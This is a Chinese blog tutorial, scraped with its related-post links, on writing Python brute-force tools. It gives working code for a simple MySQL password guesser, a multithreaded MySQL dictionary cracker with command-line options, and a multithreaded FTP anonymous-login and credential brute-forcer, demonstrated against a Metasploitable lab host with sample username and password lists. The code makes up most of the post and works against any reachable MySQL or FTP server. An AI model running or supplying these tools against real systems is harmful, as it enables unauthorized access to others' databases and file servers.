上一篇讲到了如何用Python开发字典,而当我们手里有了字典

就可以进一步去做爆破的任务了,可以用现成的工具,当然也可以自己写

接下来我就要一步一步来写爆破工具!

爆破MySQL:

想要爆破MySQL目标至少要允许远程连接

我这里没有开启远程连接,只是爆破本地的MySQL

实际上,如果掌握了如何爆破本地MySQL,那么想要远程爆破MySQL也是很轻松的

最基本的实现:

  1. # -*-coding:utf-8 -*-
  2. import pymysql
  3.  
  4. mysql_username = ('root', 'test', 'admin', 'user')
  5. mysql_password = ('', '', 'test', 'root', 'admin', 'xuyiqing', 'user')
  6.  
  7. success = False
  8. host = "127.0.0.1"
  9. port = 3306
  10.  
  11. for username in mysql_username:
  12. for password in mysql_password:
  13. try:
  14. db = pymysql.connect(host, username, password)
  15. success = True
  16. if success:
  17. print "用户名:" + username + " 密码:" + password + " 破解成功"
  18. except Exception, e:
  19. print "用户名:" + username + " 密码:" + password + " 破解失败"
  20. pass

固定好哪些用户名和哪些密码,以及爆破的IP和端口,直接执行即可

进阶的MySQL爆破脚本:写的很完整,支持多线程

  1. # -*-coding:utf-8 -*-
  2. """
  3. MySQL爆破脚本
  4. 用法:
  5. python MysqlCrack2.py -H [目标IP] --u [用户字典] --p [密码字典] -P [端口]
  6. """
  7. import re
  8. import socket
  9. import optparse
  10. import threading
  11.  
  12. try:
  13. import pymysql
  14. except ImportError:
  15. print "[!] You need to install pymysql module!"
  16. print "[!] Usage:pip install pymysql"
  17. exit()
  18.  
  19. result_user = None
  20. result_pass = None
  21. threads = []
  22.  
  23. def main():
  24. """
  25. 处理输入参数
  26. :return:None
  27. """
  28. print "Welcome to MysqlCrack2"
  29. print "Author: Xuyiqing Version:1.0"
  30. parse = optparse.OptionParser(
  31. 'python %prog -H <target host> --u <users dictionary> --p <password dictionary> -P <port>')
  32. parse.add_option('-H', dest="target_host", type="string", help='specify the host')
  33. parse.add_option('--u', dest='user_dic', type='string', help='specify the dictionary for user')
  34. parse.add_option('--p', dest='pwd_dic', type='string', help='specify the dictionary for passwords')
  35. parse.add_option('-P', dest='port', type='int', help='specify the port')
  36. (options, args) = parse.parse_args()
  37. target_host = options.target_host
  38. user_dic = options.user_dic
  39. pwd_dic = options.pwd_dic
  40. port = options.port
  41. if target_host is not None and re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', target_host):
  42. mysql_brute(target_host, user_dic, pwd_dic, port)
  43. else:
  44. print "[!] Unknown IP\n"
  45. exit()
  46.  
  47. def mysql_brute(host, user_dic, pwd_dic, port):
  48. """
  49. MySQL暴力破解
  50. :param host: 主机
  51. :param user_dic: 用户字典
  52. :param pwd_dic: 密码字典
  53. :param port: 端口
  54. :return: None
  55. """
  56. print "[*] Target:" + host
  57. print "[*] Start cracking"
  58. userlist = None
  59. pwdlist = None
  60. try:
  61. socket.gethostbyname(host)
  62. except Exception:
  63. print '[*] Cannot connect to %s' % host
  64. exit()
  65. try:
  66. userlist = [i.strip('\n') for i in open(user_dic, 'r').readlines()]
  67. pwdlist = [j.strip('\n') for j in open(pwd_dic, 'r').readlines()]
  68. print "[*] Number of users:" + str(len(userlist))
  69. print "[*] Number of passwords:" + str(len(pwdlist))
  70. except Exception:
  71. print "[!] The path of the dictionary file is incorrect"
  72. exit()
  73. global threads
  74. for user in userlist:
  75. for pwd in pwdlist:
  76. t = threading.Thread(target=mysql_login, args=(host, user, pwd, port))
  77. t.start()
  78. threads.append(t)
  79.  
  80. def mysql_login(host, username, password, port):
  81. """
  82. MySQL连接
  83. :param host:主机
  84. :param username:用户名
  85. :param password: 密码
  86. :param port: 端口
  87. :return: None
  88. """
  89. try:
  90. db = pymysql.Connect(host=host, port=port, user=username, passwd=password)
  91. print "[+] Success! User:" + username + " Password:" + password + "\n"
  92. global result_user, result_pass
  93. result_user = username
  94. result_pass = password
  95. db.close()
  96. exit()
  97. except Exception:
  98. print "[-] Fail! User:" + username + " Password:" + password + "\n"
  99.  
  100. if __name__ == '__main__':
  101. main()
  102. for thread in threads:
  103. thread.join()
  104. if result_user is not None and result_pass is not None:
  105. print "[+] Result: %s - %s" % (result_user, result_pass)
  106. if result_user is None and result_pass is None:
  107. print "[+] Crack Fail"

FTP破解工具开发:

实际去安装一些FTP软件比较困难,我这里就用Metasploitable Linux

启动后默认开启FTP服务,我这里的IP是192.168.232.129

Metaploitable Linux的FTP可以匿名登陆,并且已知一个账号密码为:msfadmin-msfadmin

  1. # -*-coding:utf-8 -*-
  2. import optparse
  3. import ftplib
  4. import threading
  5. import socket
  6.  
  7. def anony_login(host):
  8. """
  9. FTP匿名登陆
  10. :param host:主机
  11. :return: None
  12. """
  13. try:
  14. ftp = ftplib.FTP(host)
  15. ftp.connect(host, 21, timeout=10)
  16. ftp.login('anonymous', 'test@qq.com')
  17. ftp.retrlines('LIST')
  18. ftp.quit()
  19. print "\n[*]" + str(host) + " FTP Anonymous Login Success"
  20. except Exception:
  21. print "\n[-]" + str(host) + " FTP Anonymous Login Fail"
  22.  
  23. def ftp_login(host, username, password):
  24. """
  25. 尝试用户密码登陆FTP
  26. :param host:主机
  27. :param username:用户名
  28. :param password:密码
  29. :return:None
  30. """
  31. try:
  32. print "[-] Trying: " + username + "-" + password + "\n"
  33. ftp = ftplib.FTP(host)
  34. ftp.connect(host, 21, timeout=10)
  35. ftp.login(username, password)
  36. ftp.retrlines("LIST")
  37. ftp.quit()
  38. print "Success! " + username + " - " + password
  39. except ftplib.all_errors:
  40. pass
  41.  
  42. def brute_force(host, users_file, pwds_file):
  43. """
  44. 暴力破解
  45. :param host: 主机
  46. :param users_file:用户字典
  47. :param pwds_file: 密码字典
  48. :return: None
  49. """
  50. users_f = open(users_file, 'r')
  51. pwds_f = open(pwds_file, 'r')
  52. for user in users_f.readlines():
  53. pwds_f.seek(0)
  54. for password in pwds_f.readlines():
  55. username = user.strip('\n')
  56. password = password.strip('\n')
  57. t = threading.Thread(target=ftp_login, args=(host, username, password))
  58. t.start()
  59.  
  60. def main():
  61. """
  62. 主函数,处理输入参数
  63. :return:None
  64. """
  65. parser = optparse.OptionParser('usage%prog -H <target host> -u <users dictionary> -p <password dictionary>')
  66. parser.add_option('-H', dest='target_host', type='string', help='specify the host')
  67. parser.add_option('-u', dest='user_dic', type='string', help='specify the dictionary for user')
  68. parser.add_option('-p', dest='pwd_dic', type='string', help='specify the dictionary for passwords')
  69. (options, args) = parser.parse_args()
  70. host = options.target_host
  71. user_dic = options.user_dic
  72. pwd_dic = options.pwd_dic
  73. try:
  74. socket.gethostbyname(host)
  75. except Exception:
  76. print '[*] Cannot Resolve %s Unknown host' % host
  77. exit()
  78. anony_login(host)
  79. brute_force(host, user_dic, pwd_dic)
  80.  
  81. if __name__ == '__main__':
  82. main()

使用的话,需要两个字典:用户字典和密码字典,我随便加入一些东西

username.txt

  1. root
  2. user
  3. admin
  4. msfadmin
  5. manager

password.txt

  1. pwd
  2. password
  3. userpass
  4. msfadmin
  5. manager
  6. 123456

实际使用:-H 输入IP -u 用户名字典 -p 密码字典

结果:上边已经找到匿名登陆,还有下图的msfadmin,说明破解成功了

Python开发爆破工具的更多相关文章

  1. Python开发爆破字典

    这里只是分享一下Python如何生成爆破字典 关于爆破工具编写我会在下一篇提到 其实有了爆破字典的话,直接使用Burp,Hydra等一些工具就可以做爆破了! Burp的使用在我以前的博客中有写过,至于 ...

  2. Python开发GUI工具介绍,实战:将图片转化为素描画!【华为云技术分享】

    版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接:https://blog.csdn.net/devcloud/article/detai ...

  3. Python开发GUI工具介绍,实战:将图片转化为素描画!

    欢迎添加华为云小助手微信(微信号:HWCloud002 或 HWCloud003),输入关键字"加群",加入华为云线上技术讨论群:输入关键字"最新活动",获取华 ...

  4. pipenv 方便的python 开发工作流工具

    pipenv 将 composer.bundler.npm.yarn.cargo 等比较方便的包管理工具添加到了python 语言中,可以 帮助我们自动的管理virtualenv ,同时可以方便的从p ...

  5. python 后台爆破工具(多线程)

    非阻塞 q.put(item) 写入队列,timeout等待时间 q.put_nowait(item) 相当q.put(item, False) threads多线程     首先导入threadin ...

  6. python 后台爆破工具

    sys:使用sys模块获得脚本的参数 queue模块,创建一个“队列”对象 time 模块     Python time time() 返回当前时间的时间戳(1970纪元后经过的浮点秒数). fin ...

  7. Python开发专业工具推荐

    PyCharm,jetbrains公司出品,必是精品!! 版本:2016.3.1 下载:https://www.jetbrains.com/pycharm/download/#section=wind ...

  8. Python开发GUI实战:图片转换素描画工具!

    奋斗没有终点 好好学习72变,因为将来 没有人能替你阻挡81难 . 生如蝼蚁,当有鸿鹄之志: 命如纸薄,应有不屈之心 . ​ 今天被这句话触动了,所以开篇分享给大家.鸡汤有毒,但有时大家却靠它激励自己 ...

  9. 路飞学城-Python开发-第一章

    # 基础需求: # 让用户输入用户名密码 # 认证成功后显示欢迎信息 # 输错三次后退出程序 username = 'pandaboy' password = ' def Login(username ...

随机推荐

  1. 微信小程序上拉下拉刷新

    小程序提供了,onPullDownRefresh和onReachBottom两个事件函数监听下拉和上拉事件函数.提示加载中,取消加载中 效果: js文件 // pages/enterprise/ent ...

  2. dskinlite(uieasy mfc界面库)使用记录4:listbox测试

    先看效果图: xml代码: 作者qq:80101277,dskinlite交流qq群:138231653 <window name="listbox1" type=" ...

  3. iptables命令提取总结,包含扩展模块<取自朱双印博客>

    以下内容只是一些命令相关的,以朱双印博客中的iptables的教程提取出来的.纯粹只是命令的总结,如果需要看理论的知识,建议去看朱老师的博客,目前还没有看到写得比这个好的了. <http://w ...

  4. mysql too many connection 解决

    最近的项目用了动态切换数据源起初感觉还好,后来发现每次切换数据库都会创建一个新的连接,这样就导致大量的sleep线程.而mysql的默认sleep时间是28800秒....默认最大连接数为151,这就 ...

  5. 第二阶段第六次spring会议

    昨天我将对初始页面进行加工和修改. 我用两个小动物作为按钮分别进入动物便签界面和植物便签界面,可以让用户自由选择. 今天我将尝试对软件进行添加搜索引擎的界面. private void linkLab ...

  6. Unity3D 在Update中不要过多地修改Transform 信息

    前文说到碰撞检测时候,不要在Update内部尝试移动GameObject 来检查碰撞检测,这样是徒劳无功.但是 说到 因为你移动的过程中其实并没有将实际的移动位置更新到物理引擎,只是做了个缓存而已, ...

  7. 找出数组中最大值and索引

    找出数组中的最大值和和最大值的索引位置..... 第一中方法: /** * 找出数组中最大值和最大值的索引 * @param args */ public static void main(Strin ...

  8. jquery学习总结24-36

    一.jquery的自定义事件 1.自定义事件不能通过eventName()来添加,只能通过on来绑定 2.自定义事件需要通过trigger(自动触发)来进行触发 二.jauery事件命名空间 1.事件 ...

  9. Spring资源加载器抽象和缺省实现 -- ResourceLoader + DefaultResourceLoader(摘)

    概述 对于每一个底层资源,比如文件系统中的一个文件,classpath上的一个文件,或者一个以URL形式表示的网络资源,Spring 统一使用 Resource 接口进行了建模抽象,相应地,对于这些资 ...

  10. 【ORA-12516 TNS监听程序找不到符合协议堆栈要求的可用处理程序】

    服务器上某个数据库出现' ORA-12516: TNS: 监听程序找不到符合协议堆栈要求的可用处理程'错误,要解决该问题首先查看一下数据库现有的进程数,是否已经达到参数processes的大小. 取得 ...